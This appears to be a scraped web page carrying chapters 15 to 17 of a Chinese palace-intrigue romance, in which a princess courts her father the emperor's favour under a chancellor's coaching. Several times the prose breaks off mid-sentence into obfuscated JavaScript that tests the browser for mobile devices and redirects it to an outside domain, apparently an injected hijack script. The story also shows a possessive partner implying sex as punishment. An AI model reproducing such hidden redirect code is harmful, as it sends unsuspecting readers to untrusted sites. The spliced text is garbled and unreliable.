l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974410|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怎么扯到这上面来了? “拗口?”裴渡舟唇线抿直,目光在那碗馄饨上掠过,“我看是你平日里偷懒,不好好念书,连话都听不懂。” 说到最后,他回视她的面孔,清冷的眸底含着些扭曲的妒意。 就这么喜欢救人?还特意让少隐去救那什么摊主,还说没惦记。 倒也是奇了怪了,他真不知道一个平平无奇的摊主,有什么好救的?! 无法理解的还有江令薇,看着他面无表情的脸,她一时有些懵。刚才还好好的,他自己说了一番莫名其妙的话,她没听懂,他就变脸了。 虽然不知道他生的是哪门子气,但她还是努力回想方才的对话,想看看是不是自己真的说了什么不对的话。 不过,回忆了片刻,她还是没发现自己有什么错。 感受到周围越来越低的气压,江令薇默默地低下头,不敢在这时候触他的霉头。 等了半天,没等到一句话的裴渡舟看着她鹌鹑似的缩着身子,心头的妒火不免烧得更甚,下颌线条紧紧绷着。 江令薇感受到头顶直勾勾的视线,心里愈加忐忑,她到底做错什么了?怎么感觉更生气了。 “喜欢学别人当哑巴?”他总算开口,然而声音似是在冰水里浸泡过,没有任何温度。 她努力忽略身上激起的鸡皮疙瘩,小声道:“主要是我不知道你为什么生气,万一我火上浇油,惹你更加不快,那就不好了。” 他扫了她一眼,语意不明的道:“你倒是贴心。” 这句话是赤裸裸的讽刺,她当然听得出来,略有些不安地舔了舔唇。现在是晚上,以往两年,这个时候他们已经在床上了,加上刚才他看她手腕的眼神,她难免会多想,总觉得一句话说不好就要去床上教训她。 “……我,其实,也不是很贴心……呃,”在他面前,她越是紧张,声音就控制不住的变得结巴,开始胡言乱语,“我的意思是……是老师教得好,我的贴心全是老师你教的……嗯……我错了。” 裴渡舟简直要被她气笑了,他是洪水猛兽不成,怕成这样,前言不搭后语,她知道自己在说什么吗? 盯着她垂着的头顶看了半晌,视线又落到她交握的双手,正在不安地揉搓。四肢百骸里流淌的微妙嫉妒忽然间化为乌有。 “……罢了,知道错了就好。” 裴渡舟到底还是没再跟她计较。同她生什么气,她只是爱吃而已,对那什么劳什子摊主没任何想法。 听到这话,她猛地抬起头,眼神亮晶晶的,“我知道的!” 她悬着的心总算落下,都这样说了,应该是不生气,不会教训她了。 他勾唇,眼里却毫无笑意。知道什么? 被那样的目光注视,她后背蓦地发凉,嘴巴再次打结,“呃……错了……我真错了……” 虽然不明白错在哪里,但这么说准是对的。 裴渡舟闭了闭眼,再睁开时里面的各种情绪通通被压下,站起身来,“很晚了,明日你还有事要做,该去睡了。” 见她欲言又止,似是想说什么,他俯身揉了揉她的头,微笑道:“好了,不做什么。” 语气虽冷,但他明明白白地说出口,那就不会失言,她自然清楚这一点,总算是抬起头来看着他,“好。” 好什么?如此不想跟他亲近吗?裴渡舟勉强按下心底的火气,皮笑肉不笑道:“那还不站起来?” “……” 江令薇条件反射般弹起,“我起来了!” “乖。”他眸色变得温和,大手挤进她瘦削的指间,不留一丝缝隙,看着是十指相扣,实则大拇指牢牢按住她的拇指,紧紧包住。 她被他牵着往帷幔垂落的床榻而去。 和衣而眠时,她突然想起什么似的问他:“你说明日有事,是去拜见父皇吗?另外,你说要我做握刀的人,如何做?” 裴渡舟附耳过去,她若有所思地点点头。 15. 第 15 章 翌日一早。 在裴渡舟地殷殷叮嘱下,江令薇坐上了去往宫里的马车。 长安街只有宫里子嗣能居住,这里又是最南边,此刻一个路过的人都没有。马车驶离前,江令薇似有所感,掀开车帘。 裴渡舟立于公主府匾额下,身姿挺拔,面目俊朗,见她望过来,淡漠的眼底蕴开一抹清浅笑意。 江令薇拧了拧眉,先是留意一下四周有无路人,才张嘴无声吐出几个字——你也太大胆了,万一被人发现我们的奸情怎么办? 裴渡舟笑容淡了点,似琥珀的瞳仁里凝了几分寒意,凉飕飕地盯着她。 江令薇浑身一僵,身体本能快过意识,迅速拉上帘子,隔绝了那令人胆寒的眼神。 等到马车驶动,她身体才渐渐放松下来,烦心地叹了口气,他的眼神她很清楚,绝对是又生气了。 生气的代价十有八九是拉着她行房。而且是不搞到死不停下来的那种。 想到昨晚手脚发软的经历,她就一阵心烦意乱,很后悔刚刚说那样的话。 话虽然是实话,但听的人不乐意听。 …… 从公主府到宫门前,坐马车约半个时辰便可抵达。 下了马车,从侧门进入宫中,沿着笔直的宫道,在宫女引路下来到皇帝所居的养心殿外。 几年前鎏金铜瓦的养心殿如今处处透着一股古朴的意境,殿前白玉铺就的空地全被撬开,换成青石。 飞檐角下挂着祈福的五色经幡,紧闭的大门里传出袅袅仙乐,青烟缭绕。 今日又是个阴沉沉的天,此时恰巧下起雨来,风吹幡动,渺渺细雨与升腾的青烟相碰,烟雾受不住漫天的雨,狼狈地四散开。 也像是青烟中蕴含的执着所求不被接受。 江令薇缓缓挥开逃窜到自己身前的青烟,接过引路的宫女递来的油纸伞,又转身道了句谢,宫女年纪看起来比她还小,闻言惶恐地说当不得公主言谢。 江令薇没有多言,只是抿唇摇了摇头。 他教过的,在外对人要以礼相待,无论是何身份。撑开伞面,她冲进雨幕。 养心殿外侍立的太监福来默默地看着,把两人刚才的言行尽收眼底。 快速跑到殿门前,江令薇向福来说明了来意,请他通报一声。 “公主稍等一会儿,奴才这就去。”福来面上堆起笑容。 她颔首,默默地等在外头。没过多久,福来便来请她进去。 一进入其中,首先映入眼帘的便是层层叠叠的经幡,悬在头顶,拂过耳畔,比她的肌肤还要寒凉。 她不禁冷得哆嗦了一下,这里也太阴森了。 福来领着她绕过道士来往念经的正殿,来到侧殿,里面一个帘子辟开的隔间里,供着一尊道家的南极长生大帝。 皇帝坐在首位,穿着青色道袍,双眼微阖,手里捻着一串道家念珠。 苍老似树皮的脸上皱纹横生,眉心沟壑极重,头发花白,若不是手指还在拨动念珠,乍一看倒像一具毫无生息的尸体架子。 “儿臣拜见父皇。” 江令薇是第一次面见皇帝,跪在地上结结实实行了个大礼。 “小十来了,赐座。”皇帝淡淡道,声音平静,没有朝会时的低闷。 江令薇乖顺地坐下,头顶的目光如有实质,但她只是匆匆看了眼便一直低着头,谨记着面对天子应有的恭敬。 “可是孤如今的相貌吓着你了?”皇帝捻动念珠,正殿道士不知何时停下了念经,室内一时只闻木珠拨动的轻微声响。 听到这话,江令薇明白,表现孺慕之情的时候到了。 “父皇是天子,更是儿臣的父亲,于情于理……于,”说到这,她似是记不住词了,懊恼地捶了捶脑袋。 “于情于理,然后呢?”皇帝问,语气里听不出什么责怪的意味。 江令薇抿了抿唇,裴渡舟要她表现的愚钝,但赤诚。 不会说好听的话,但字字句句皆是真心。 她深吸一口气,做出豁出去的模样,自责地道:“儿臣有罪。” “哦?”皇帝倒是起了几分兴致,“你何罪之有?” “……刚才那些话是府中下人教儿臣说的,但儿臣……没记住。”江令薇声音越来越低,似是害怕。 周围的空气有一瞬间的凝滞。 皇帝没说话,念珠也不拨了,看了眼福来。 福来会意,“陛下身前,公主慎言!” 福来的声音过于尖利,江令薇不动声色地皱了皱眉,顺势抬起头,猝不及防对上了皇帝的目光,是淡漠的。 江令薇太阳穴突突地跳,裴渡舟没有提过,她的父皇竟然长了一双,和她相差无几的圆眼。 圆润的杏眸,而非萧朝历来天子所有的狭长风眸。 那双眼睛看着她的时候,似乎有些莫名的意味,但仔细一瞧,又没有了,只剩与她眼底相同的漠然,有一种过分的,近乎荒诞的冷。 只是一瞬间,江令薇便回过神来,半低着眸子,语气慌张:“是儿臣说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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无非就是愈发嚣张,把萧朝当成他们周家的。 皇帝没有说话,面无表情地走进隔间,取来三炷香,点燃,插香,干枯的双手举过胸口,合十,念经。 青烟袅袅,欲求无边。 忽然,又是一个小太监进来回话,“陛下,皇后娘娘求见。” “不见。” 小太监听到熟悉的答案,心中叫苦,皇后娘娘为人刻薄,见不到陛下,就拿他们这些人撒气,每回都如此。 没过多久,殿外传来一些异动,听着似是有人在掌掴。 不大一会儿,便被淅沥的雨声覆盖。 16. 第 16 章 江令薇回到府时,裴渡舟恰好已经进宫。 与他在一起这两年来,更确切一点说,是他与太子分理朝政的一年来,他每天都会进宫。 至于去做什么,江令薇并不清楚,他不爱跟她说这些。 但有时她会撞见记陆与罗玄两人抱着四四方方的木盒,偶尔的机会,她瞧见里面似是叠着一本本的黄色折子。 虽然只看到一眼,但她相信自己的目力,那些是朝中官吏每日送给他和太子处理的折子。 有一回她忍不住好奇问他,那些折子他都批阅过吗? 他当时并未正面回答,只是好笑地刮了刮她的鼻翼,道:“你猜。” “老是让我猜,我又不是你肚子里的虫子,猜不到。”她皱着眉,有些不太高兴。他总爱逗她。 “你猜的到。”他揉了揉她的脑袋,循循善诱,“若你是萧朝的主子,若你是我,当下的情况,两个你会分别怎么做?” 她当时怎么说的来着? 江令薇回想了一下,她回答的是,若她是王,怎么可能会安心让外人处理奏折,若她是权臣,皇帝又不是傻子,她怎么可能真踏踏实实地给人家批阅折子。 他笑了,“哦?那第二个你会怎么办?” “皇帝让我批阅,君王的话是金科玉律,是旨意,我当然要遵从,但全批了,那不是明摆着告诉人家,我想谋反,嗯……所以,捡一些不重要的折子,意思一下就可以了。”她想了一会儿后回答。 在他点头承认后,她有些惊讶,就这么简单么? “世上事本就没有你以为的那么复杂,我的薇薇只要愿意去想,去做,那么,任何事都能想到,做到。” 虽然对这番话有些似懂非懂,但只要是他说的道理,一般情况下,她都下意识地相信。 …… 过了一会儿,吴管事送来几封信件,分别是五皇子与七公主派人送来的,江令薇拆开看了两眼,信中内容大差不差,都是对于不能帮她成为郡王的愧疚之意。 唯一有差别的是,与五皇子大大方方派人进府送信不同,七公主则是指了一个名不见经传的小太监送来,说是七公主近侍青木忽然内急,而七公主恰又出府了,青木恐污了两位公主的情意,无奈之下才让别人送来。 对此,江令薇根本不信,她的七姐无非就是怕太子知道自己拉拢人,才出此下策罢了。 花了些时间写好回信,吴管事又呈来一串初具雏形的紫檀木念珠,足有一百零八颗。 “主子吩咐,需要您再雕一些图案。” 江令薇默默接过,这是做给皇帝的念珠,他早上说过,需要她亲手雕琢。来到卧房的书案前,上面已经准备好了雕刻工具。 经过宫中一遭,她已经没了睡意,打开窗户,让光线照进来,随即安静地坐在垫子上雕刻念珠。 她的这门手艺是裴渡舟之前教的,做出来的算不上多么精致,总之能看。 外头细雨纷落,她神情专注,不时用绸布包一会儿手指。念珠精巧,她刚开始把握不好力道,白皙的指尖已经渗出了血。 然而,她只是匆匆止住血,眉毛都没动一下,继续雕琢。 做着做着,她脑海里不自觉忆起皇帝的样貌,除了那双看不透的眼睛,全身上下漏出来的皮肤跟枯死的树皮没什么两样。 裴渡舟说得对,她的父皇便是因局势装病,五十多岁的人,身体也好不到哪里去。半只脚踏入了棺椁。 时间倏忽而过,很快便到了晚间。 裴渡舟处理完事务回府,一踏入殿内,便见她仍拿着念珠细心雕琢,不时抿一抿唇,揉一揉眼睛,那双手远远看去一片血红。 心间蓦然一缩,他大步来到她身后,双手握住她的手腕,制止了她欲抬手继续雕的动作,“为何不涂药?” 江令薇听到声音回头,闻言略有些不解,不是他自己说手上最好有伤口,才显得诚心吗? 裴渡舟哪能不知道她在想什么,没好气地瞪了她一眼,“舍本逐末!再显诚心也没你的手重要。” 本想辩解几句,但见他面色冷峻,眉峰紧蹙,一副风雨欲来的样子,最终她识趣的把嘴里的话咽了下去。 裴渡舟拿过案上备有的药膏,扭开瓷瓶,修长的指尖抹了点,沉着脸拉过她的手。与他面上神情相反的,是他涂药的动作,又轻又柔。 即使如此,清凉的药膏渗进皮肉时,江令薇还是不可避免嘶了一声,有些刺痛。 裴渡舟放轻了手劲,狭长眸子盯着她不自觉皱起的面孔,“原来你还会痛。” 清冷的嗓音压抑着怒火。 之前砍中脖颈差点没命,现在扎中指尖,手指头通红一片,总是像个没事人一样,看了就让人火大。 “我又不是铁做的,自然会痛……”在他阴沉的眼神下,她声音逐渐变小,眸子移开,不敢看他。 裴渡舟定定看了她半晌,在她头越垂越低的时候,敛眸执起她的另一只手,语气冷得出奇,“不是铁打的,你是木头做的。” 不会痛,没心没肺。可不就是个木头。 江令薇有些不服,想反驳,却在看到他抿直的唇线,与外袍上沾的水珠时,关心的话脱口而出,“渡舟哥哥,你今天去哪了,是冒着雨回来的吗?” 进宫也不需要一天,剩下的时间难道都待在丞相府处理事务,或是在为她绸缪将来吗? 话语里的关怀不含一丝虚假,裴渡舟当然听得出来,胸膛里积聚的怒火蓦然散了大半,望着她黑白分明的眼睛,他缓和了语气,“你说呢?” 他每天做的事,万变不离其宗。 都是为了谁。 怀里突然扑入一个温暖的身体,腰身被紧紧抱住,她低闷的声音透过层层衣衫,渗进肌肤,“是我太笨了,没理解你真正的意思,你这么疲累,事事为我,我还让你操心……” “这么晚了,你是不是还没有吃饭?” 被她贴着的肌肤忽然间烫得厉害,那温度蜿蜒而上,如浪潮似的奔流进心头。 裴渡舟觉得自己浑身滚烫,浓密如鸦羽的长睫轻微颤抖,此前因她没心没肺而生出的不安与怒气通通没了,消失得无影无踪。 今日下午有事去了趟皇城司,回来的路上马车坏了,他没有等记陆去买纸伞,直接策马赶着回来的,雨虽然有些大,但他不在意。她从漠北回来那一日,其实他晌午就去了公主府。 这二者的原因只有一个——他想见她。 无时无刻。 他默了半晌,让翻腾的情绪冷静下来后,才抬手轻抚她的头顶,“不让我操心,你打算让谁操心?” 语气是惯有的冷淡,却罕见的有些哑。 江令薇不知他心中所想,下意识否认道:“我哪有这个意思。” “没有最好。” 又是一句含着赤裸裸威胁的回答,但后两个字仔细听尾音似在上扬。 她是了解他的,知道他的气已经消了,此刻的心情应该还不错。 她放开悬空在他腰腹的双手,别过头仰视他,“你还没回答我,你吃饭了吗?” 裴渡舟眸中总算浮现淡淡笑意,“没。” 他知道她,吃饭对她来说,是很重要的事。 重要的事只会问重要的人。 他是重要的人。 …… 不多时,侍从在外间的圆桌上摆好了饭食。 江令薇下午的时候已经吃过了,因为手不方便,是少隐找府中下人喂她吃的。 裴渡舟用膳时也是慢条斯理的,端坐在那,动作不紧不慢。 鲜嫩清香的菜肴在他眼中掠过,却没留下一丝喜爱或是厌恶的波动,只有淡淡的平静。仿佛吃饭,只是身体需要。 因为需要,所以去做。 并不像江令薇那般,吃到喜爱的吃食,有一种由身到心的满足感。 她默默看了他一会儿,内心嘀咕,明明他才是个木头。 “在骂我什么?”他冷不丁开口。 她心头一跳,神情无辜地摇头,“没骂你,我怎么敢骂你。” 他意味不明地睨了她一眼,她生怕他没完没了地追问下去,生硬的转移了话题,“这个好吃。” 她用包着绸布的手指了指其中一道色泽诱人的肉菜。 裴渡舟怎会看不出她在转移话题,眸中划过一抹不明显的笑,夹了一块肉喂至她唇边。“张嘴。” 江令薇一愣,摇头道:“我不是这个意思,是让你吃。” 裴渡舟挑眉,“真不吃?” 闻着嘴边的丝丝肉香,江令薇抿了抿唇,乌黑的瞳仁看看肉,又瞅瞅他。最后,听从本心吃下了那块肉。 “好吃!”她忍不住夸赞。虽然不太饿,但确实很好吃。 见她瓷白的侧脸,裴渡舟情不自禁地抚了抚。知道他劳碌一天还冒雨回来,她心头难免微涩,想了想,慢慢贴住他手掌,学着他从前的样子蹭了蹭。 裴渡舟眉宇更加温和,“今日见过陛下了?” 提起这件事,江令薇总算想起宫中的事情,面上略带惊讶地道:“对。但是我没想到,他的眼睛竟然和我的很相似。” “世上那么多人,你们之间又流着相同的血脉,眼睛长得像也不足为奇。”裴渡舟淡定地啜了一口茶。 江令薇若有所思地点头,初见皇帝眼睛的惊愕在他三言两语下消失得一干二净。 室内烛火明亮,裴渡舟漫不经心地搁下茶杯,未曾被烛火映照的半边脸隐在黑暗中,向来透亮的琥珀色瞳仁此刻却被几分阴影覆盖,遮住了其中的情绪。 若无那双相似的杏眸,她也不是这样直白的性子,皇帝再渴望亲情,他也不会让她去日日拜见。 因为那没用。 …… 接下来的十几日,江令薇日日清早进宫拜见皇帝。雕刻念珠是个精巧活计,她还没有做完。而手上的伤口虽然涂了药,但还是能窥见痕迹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974412|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 五皇子得知过后,还专门来信问候她,告诫她一些宫中的规矩,并说等过些时候他忙完了手中的朝事,带她一起去京郊散心游玩。把一个关怀幼妹的好哥哥模样做到了极致。 对此,江令薇回的信里自然全是感动之语,十分配合他。 除此之外,七公主也暗地里派人送了一些时兴的玩意与糕点。与之前青木内急的借口相差不差,又是几位眼生的太监送来的。 看着那些精致的糕点,江令薇其实蛮想吃,但裴渡舟不准,凉飕飕地瞪着她。 虽然她不觉得糕点里面会有什么毒药之类的东西,不过迫于他的威压,只能眼巴巴地看着那些东西全被拿走,末了还要骂上她一句,“什么人送来的都吃,那你以后别回来了,跟着你的好姐姐好哥哥去过日子。” 这已经是很生气的重话了,江令薇只好默默杵着,等着他气消。虽然骂完她之后,不知为何他似乎更火大了。 …… 一天清晨,再次经过那颗熟悉的柏树,江令薇伸手摸了摸垂下来的枝叶,刚抬脚准备离开,就听隔墙的破院子里有人在说话,议论的对象还是她。 朝领路的宫女比了一个噤声的手势后,她身子往前倾了倾,靠近红墙,准备听听里面在说什么。 宫女还是几日前的那名宫女,因着江令薇言行温和,待人也不像宫中其余主子般鼻孔看人,宫女对她很有好感。 又瞥见她手上细碎的伤口,暗中感叹公主真是孝顺。 听话地颔首后,宫女直接站到了宫道转弯处,观察有无人经过,好提醒江令薇。 江令薇把宫女的所作所为看在眼底,对她点头示意,宫女对她好感更甚,事事有回应的主子在宫里很少见。 里面的说话声还在继续,声音有些小,似乎是在忌惮什么。 江令薇不止目力极佳,耳力也不错,因此听得很清楚。 “这地是真阴森,也不知道那十公主怎么住得下去,啧……”听声音是一个年龄略大的宫女。 “可能比较能忍,如今出宫开了府,也是渐渐好起来哩。”嗓音稚嫩,口音不像京都人,应该是刚从别的州府选来的小宫女。 “好起来?呵……”大宫女不屑,“太子一登基,她还能有好日子过?你是新来的不知道,算起来应该是有半年多了,京都有些姿色的男女都不敢出门,生怕被周家哪个公子小姐绑了,给人家做通房,做小侍。” 江令薇心绪流转,这件事她也知道,原来少隐所说的“常有”二字,竟然已经持续了半年多。 “啊?不会吧,没人报官吗?”小宫女惊讶。 “报官?那就是死路一条!你以为人家为什么这么嚣张?”大宫女压低了声音,“还不是因为天子身体越来越差,太子登基那是板上钉钉的事,换句话说,你侄儿有本事,你嚣不嚣张?要不了多久,这宫里除了七公主,其余的皇子皇女绝对是入教坊司的命!特别是十公主,惹了太子的厌恶,绝对会在教坊司被人屈辱地玩死!” “姐姐你别吓我!那这么说,这里不就是死人住的地方吗!”小宫女被吓坏了。 被人说是死人,会被玩死,江令薇表情没有太大变化。 倒是一旁领路的宫女听不下去,她耳力也十分好,转身满脸不忿地道:“公主!她们实在放肆!奴婢这就去将她们拉出来掌嘴!” 江令薇抬手拦住欲冲进去的宫女,眼睛眨都没眨,“小声些,她们还没说完呢,再听听。” 宫女只好作罢,但心里已经恨不得把里面两人的脸都撕了。十公主性情温和,凭什么被她们这么说! 里面两人丝毫不知彼此间的闲谈被旁人听了去,大宫女还在抱怨,“可不是嘛!死人住的地方就是晦气!” “那姐姐我们还是快走吧!” “急什么,瞧你那样,皇后下旨要将宫里所有地方大清扫,必定是为了将来太子登基讨个好彩头,没扫完你敢回去,皇后身边的人撕了你!”大宫女煞有其事地吓唬道。 “那我赶快扫!”小宫女的声音控制不住地发抖。 “先把这院子外头扫了,我有些累,先眯一会儿,扫好叫我,里面我们一起去,省得吓坏了你。”听声音,似是大宫女扔下了扫帚。 “听姐姐的。” 扫帚扫落叶的动静传来,江令薇直起身,宫女以为她终于要进去教训那两人了,不免摩拳擦掌,做足准备掌掴两人。 然而,出乎宫女预料的是,江令薇直接转身走了,一句话都没说。 宫女完全不明所以,连忙小跑着来到她身后,“公主,她们无视宫规,还那样议论您,该给她们点教训才是!” 江令薇依然没有回答,步子迈得很大。宫中禁止大声喧哗,宫女说了一两句后也逐渐没了声音,只是面上仍旧带着愤恨与愁苦。 宫女把这一切都归结于江令薇从前被人欺负惯了,有了阴影,害怕得罪皇后。 公主真可怜。宫女叹气。 17. 第 17 章 到了养心殿,江令薇总算开口,然而嗓音却哽咽得不成样子,泪珠凝在眼眶里,要落不落,看着好不可怜。 “烦请……公公通报一声。” “十公主这是怎么了?”福来有些惊讶,除却那天被太子为难,他还真没见十公主哭过,难道来的路上碰见太子了? 江令薇摇着头擦了擦眼角泪水,仍旧没有回答。 本是一时好奇偷听,没想到听到那些“大逆不道”的话,又有领路的宫女在旁见证。 她略一思索,寻思着还是不要浪费这个机会,哭一场,演一场,把裴渡舟给她安排好的性子贯穿到底。 怯懦自卑自然会怕事,怕皇后太子,但渴望亲情自然也会装做什么都不知道,不让她名义上还在病中的父亲烦忧。 福来不知道她遇到了何事,只能作罢,进了殿禀报皇帝。 殿中,听了福来的话后,皇帝睁开双眸,注视着神龛上的长生大帝,“哦?哭了。” 福来恭敬回答:“是。奴才询问公主,但公主并不肯说。” “让她进来吧。”说完,皇帝阖上双眸,手指继续捻动念珠。 …… 江令薇红着眼眶进了养心殿,规规矩矩地行完礼后,面对皇帝终于开了口。 却不是解释自己为何哭泣,而是言明自己为他做了一串念珠,明日便能做好,足有一百零八颗,希望能护佑他身体康泰。 听到她率先提起念珠,而非为何哭,皇帝倒是感到新奇,掀开眼皮打量了她一眼。 一双圆润的眸子里蓄满了泪水,无声地滑落,嘴角却努力扬起,似是想笑,但泪水根本不听使唤。 可能是察觉到他的目光,她忙把头垂得更低,挡住湿润的双眸。 皇帝意味不明地眯了眯眼,视线下移,落到她交叠于身前的双手。 从前白皙的指尖,如今都是细碎的伤口。能看出涂了药,但扎痕依旧明显,露出通红的血肉。联想起她所说的日日都在雕琢念珠,有这些伤口也不足为奇。 “旁人都是做好了再说,怎么偏你不同,没做完就要宣之于口?”皇帝收回视线,手中念珠油润光亮,发出轻微的转动声。 “儿臣……”江令薇眨了眨眼,睫毛扫动眼睑,滚烫的泪再度涌出。 她声音依然哽咽,深吸一口气,道:“没做完就说,是儿臣想得到父皇一句夸赞,像平民百姓家那般,父亲夸赞女儿。” 她在书上看到过,深爱孩子的父母,孩子便是不准备惊喜,直言告知自己要送什么物品,父母也会感到欣慰,从而赞扬。 虽然皇帝不爱她,她也不爱皇帝,但这法子依然可以效仿。 裴渡舟要她做一个渴望父爱的人,她刚才的回答,话里表现出来的都是渴望。应该是做到了一点他所说的,江令薇暗自想。 皇帝停止拨动念珠,侧目深深看了眼她,“你倒是直言不讳。” 语气平静,听不出来是何情绪。 “这是儿臣的真心话,”江令薇琢磨不透皇帝心情如何,只能任由眼泪模糊视线,呜咽着道:“儿臣唯愿父皇常乐安宁,长命万岁。” “吉祥话说得不错。”皇帝注视着神龛上的塑像,语意不明道:“只是十七的人了,怎么整天哭,有人给你气受了?” 江令薇沉默了一瞬,心知不能说出偷听到的那些话,否认道:“没有。儿臣哭,只是来的路上风大,迷了眼,父皇……您……” “孤如何?” 她搅着手指,故意停顿了一会儿,才道:“……望您安康。” 言罢,她朝着皇帝下跪磕头,没有收着力道,额头磕在冰冷的砖石上,砰砰作响。再抬起时,额头果然微红。 “真没有别的话要说?”皇帝睨着她额间。 “没有。”她依旧否认。 虽然她自己也觉得迷了眼这个借口很拙劣,但裴渡舟说过,对待皇帝,某些时候,大胆说就完事了。 想必,他会派人去问那个宫女的。 “退安吧。” “是。” 江令薇擦着泪,轻手轻脚地离开,福来把人送走。 过了一会儿,福来果然回到殿里回禀道:“奴才刚刚去问了领十公主来此的宫女,说是遇到两个嘴碎的宫人,妄议陛下和十公主,话里话外皆是在说太子……” 福来犹豫了一会儿。太子一直是陛下的眼中钉。 “说下去。”皇帝毫无预兆地丢了念珠,从蒲团上起身,来到主位上坐下。 念珠啪的一声散开,骨碌碌滚落到地板上,发出清脆的响声。 福来忍着内心的惊惧,亦步亦趋地跟过去,“她们说太子即将登基,将来除了七公主,其余皇子必定是入教坊司的命运,其中十公主尤甚,会……” 福来不敢继续说了,宫女对江令薇有好感,转述时还特意学了那两人说话的态度和语气,总之不堪入耳。 “会被玩弄到死是吗?”皇帝没什么忌讳,淡淡地接了话。 “都是些蠢笨的玩意,当不得真!陛下可要处置了她们?”福来眼皮一阵狂跳,登时跪了下去。 “原是如此。”皇帝忽然说了这么一句。 福来反应过来,陛下是在说十公主为何哭着来请安。 “依你看,如此好的告状机会,她怎么不说呢?”皇帝端起案上的热茶缓缓啜了一口,执起杯壁的手瘦削,皮肤又干瘪,血肉萎缩。 真是一层树皮。 注意到这双手,皇帝面色霎时阴沉,茶杯蓦地被重重搁下,只喝了一口的茶还剩半杯,此时茶水全撒了出来,浇湿了案上的物什。 福来面皮一抖,颤颤巍巍地开口,“十公主心性赤诚,奴猜测可能是过于害怕,毕竟从前一直被皇后娘娘……”他适时停住,但后面的话皇帝如何不明白。 太过直白,情绪全表露在脸上,很害怕皇后,所以即使被人这么议论,也只能无力地哭。被问起,也矢口否认,不敢告状。 不过,今日江令薇的所做所言要是放到别人身上,养心殿里的主仆二人只怕都会觉得好笑。因为宫里没人会那样说话,说好听点叫赤诚,难听点就是蠢笨。 若是太子遇到,也许还会问上一句“你装够了吗?” 但因为有那样的童年经历,许多不可思议的言行举止放到她身上,旁人惊奇,了解身世过后,也不会有太多怀疑是在做戏。 毕竟,谁能保证一个人在暗无天日的环境里被关了十四年后,还是个正常人。 皇帝闭了闭眼,再度睁开时,里面对于衰老的不甘已全部被压下。 他斜瞄了下隔间慈眉善目的塑像,面目重新转为平和,叹道:“年过十七,可这心性看着,似乎连七岁的稚子都比不上。孤的血脉里倒是出了个奇人,有意思。” “奴才瞧着,公主对陛下很是孺慕,日日都来请安。明日便是朝暮节,依裴丞相所说,公主明日还会给陛下送一份大礼呢。”福来弓着腰上前,一边小心地奉承,一边对外头使了个眼色,命人将备着的念珠呈上来。 皇帝将新的念珠盘在枯瘦的手腕上,抚上了身下的龙椅,“是啊,倒也是有些运气,刚好朝暮节那一日便会做好念珠,你说,他们两个私下有来往吗?” 福来自然知道陛下说的是谁,陛下怀疑公主与丞相暗中勾结,毕竟,确实有些巧合。丞相选的要收网的日子正是公主念珠做好的日子,按丞相的计划,公主少不了好处。 “公主纯澈,想来……丞相,应也不会和公主有来往。”福来陪伴皇帝几十年,有些话旁的宫女太监不敢说,但他可以适当说一二。 皇帝笑了笑,纯澈吗……蠢还差不多。 裴渡舟聪颖绝伦,他的十女儿看着就不怎么聪明,不过,勾没勾结不重要,现在重要的是,周家马上就可以去死了。 皇帝捻动念珠,似树皮的脸上有一道弧度渐渐加深,难得的好心情。 然而,再听到外间熟悉的“皇后娘娘求见”几字时,好心情通通不见,那双圆眼里明显划过几分厌烦。 …… 日暮斜阳,暖光化作蚕丝,透过雕花窗棂缚在案边趴着的江令薇身上。这几日都是这样,一从宫里请安回来,她便到书案前雕琢念珠。一雕就是大半日。 一个时辰前,一百零八颗念珠才堪堪雕好。活计精细,她累得不行,让人将东西收好,枕着日光沉沉睡去。 少隐抱着刀安静地守在门外,整张脸全被面具覆盖,窥不见一点容貌。只能从脖颈间微白的肤色,以及高挑的身段看出长相应是不错。 自从被指派给江令薇后,他的日子便清闲了许多,出门跟随,在府守卫,不用像以往那样隔三差五执行任务。 摸了摸脸上冰冷的面具,少隐脑海里不由回想起殿下初瞧见他这幅打扮时,还好奇问他会不会闷得慌? 他抿着唇,是闷得慌,但当时主子的眼神几乎能将他射穿,怀疑他勾引殿下…… 别看主子一举一动都是要扶持殿下成王,成一家之主,可他清楚,若是殿下日后看上别人,要纳侍,那人绝对不会有好下场。 最好的证明就是府中条条框框的规矩。 不准他们直视殿下,勒令吴管事不准支一分钱给殿下,因为那样可能会有豢养外室的嫌疑。 因此,他当时只好说自己相貌丑陋,出门在外恐吓坏了别人。 面对她询问能不能看看他的样子时,他几乎是落荒而逃,事后绞尽脑汁说自己实在自卑,希望她能开恩给他留点脸面。 事情这才作罢。 不经意往转角处瞥了眼,裴渡舟从那处大步走来,少隐脑袋下意识垂得更低了一点,刚要出声行礼,想到江令薇还在睡着,压低了声音道:“见过主子,殿下睡着了。” “何时睡下的?”他顿住脚步。 少隐估摸着时辰,回道:“到现在,约有一个时辰了。” “继续守着,醒了来告诉我。”说完,裴渡舟往书房的方向走去。 少隐恭敬应下,与忙于雕刻念珠的殿下一样,这几日主子很忙碌,为了周家与太子的事情,几乎可以说是从早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 